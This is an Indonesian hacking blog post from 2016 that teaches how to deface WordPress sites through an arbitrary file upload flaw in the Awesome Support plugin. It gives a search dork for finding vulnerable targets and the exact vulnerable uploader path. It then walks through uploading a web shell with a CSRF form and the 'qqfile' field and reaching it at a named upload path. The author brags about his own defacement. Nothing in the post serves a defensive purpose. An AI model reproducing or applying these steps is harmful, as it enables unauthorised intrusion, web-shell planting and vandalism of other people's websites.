Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

Sunday, June 26, 2016

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

Sebelum nya ga ada yg mau komen nanya kenapa ane pake foto nabilah gitu ?? klo ga ada yaudah -_-
Langsung Tutor aja ya. Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

Sebelumnya Thanks to : ./Jimm_Grey from Garuda Security Hacker.
karena ini sbnarnya POC lama, tp pas dia share bnyk yg masih vuln :v

Bahan :

Dork :
inurl:/wp-content/plugins/awesome-support/
Kembangkan sendiri, jangan manja

CSRF :
Sekarang buat kalian yang males bikin CSRF html, tmn saya Drach Levia punya karya CSRF online

Shell :
Kalian bisa cari di gugel atau pakai Hidden Shell Maker karya kami :)

Vuln Cek/Exploit :
http://sitetarget.co.li/[path]/wp-content/plugins/awesome-support/plugins/jquery.fineuploader-3.5.0/server/php/example.php
*Perhattikan PATH

Step by Step :

1. Dorking pake dork di atas, pilih target yang menurut ente vuln

2. Taruh exploit di belakan site target seperti contoh di atas. (Perhatikan Path)

3. Jika Vuln akan seperti ini (gambar)

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

4. Copy kan url target yang ada di address bar, lalu kamu lari ke CSRF online yang tadi di kasih di atas

5. Masukan url di kolom url, lalu pas Post File pilih qqfile

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

6. Pilih File/Shell atau yg lain nya :)

7. Klik Upload :) jika Vuln hasilnya akan seperti gambar

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability

8. Akses shell : http://sitetarget.co.li/[path]/wp-content/plugins/awesome-support/plugins/jquery.fineuploader-3.5.0/server/php/uploads/namashell.php

Deface WordPress Awesome Support Arbitrary File Upload Vulnerability
9. Eksekusi deh :)

Thanks To : All Member Garuda Security Hacker :)

Hasil Deface saya : https://defacer.id/106830.html

No Army Can Stop My Action :) Remember !

Related Post

Next
Previous
Click here for Comments

2 comments:

avatar

bro path itu maksudnya apa ya?

avatar

path itu direktori tempat di intallnya CMS